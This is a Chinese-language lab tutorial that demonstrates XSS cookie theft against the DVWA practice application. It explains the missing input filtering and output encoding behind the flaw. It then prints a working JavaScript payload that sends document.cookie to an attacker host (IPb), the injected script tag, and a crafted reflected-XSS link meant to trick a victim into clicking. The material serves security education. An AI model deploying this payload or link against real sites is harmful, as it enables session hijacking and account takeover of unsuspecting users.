如果web应用在用户输入的地方没有过滤特殊字符,比如<, >, ', ", <script>, javascript
等字符,而且在变量输出的地方没有使用安全的编码函数,比如PHP的htmlentities()
和htmlspecialchars()
函数,JavaScript中的escapeJavascript
函数,这样的web应用极易出现XSS漏洞。XSS攻击的危害主要有盗取用户cookie、跳转到恶意网站等,危害巨大,常年居Owasp top 10前三。
为了理解XSS盗取cookie的原理,进行实验。实验需准备:(1)两台主机,主机A(IP地址为IPa)的用户正在浏览具有XSS的网站,主机B(IP地址为IPb)运行着攻击者的恶意代码。(2)DVWA安全等级设为low,充当具有XSS漏洞的网站。
攻击者先上传一个JavaScript脚本到主机B上,即xss payload,这段脚本命名为evil.js,可以这样写:
var img = document.createElement("img");
img.src = "http://IPb/log?"+escape(document.cookie);
document.body.appendChild(img);
这段代码将document.cookie
作为对象传到主机B上。http://IPb/log
可以存在,也可以不存在,因为这个请求会在主机B的服务器日志中留下日志。
主机A打开DVWA网站的XSS选项,在what’s your name输入框输入:<script src=http://IPb/evil.js ></script>
并提交:
此时主机A的cookie值就会发送到主机B上,查看主机B的web日志:
发现主机A的cookie值已经存在web日志里了。
虽然是实验,但是如果DVWA有XSS漏洞,而攻击者构造一个http://IP/DVWA/vulnerabilities/xss_r/?name=%3Cscript+src%3Dhttp%3A%2F%2FIPb%2Fevil.js+%3E%3C%2Fscript%3E#
,诱骗了用户点击,那么用户的cookie就会发到主机B上,攻击者就可以登录受害者的账户了。
本实验中的xss payload参考《白帽子讲web安全》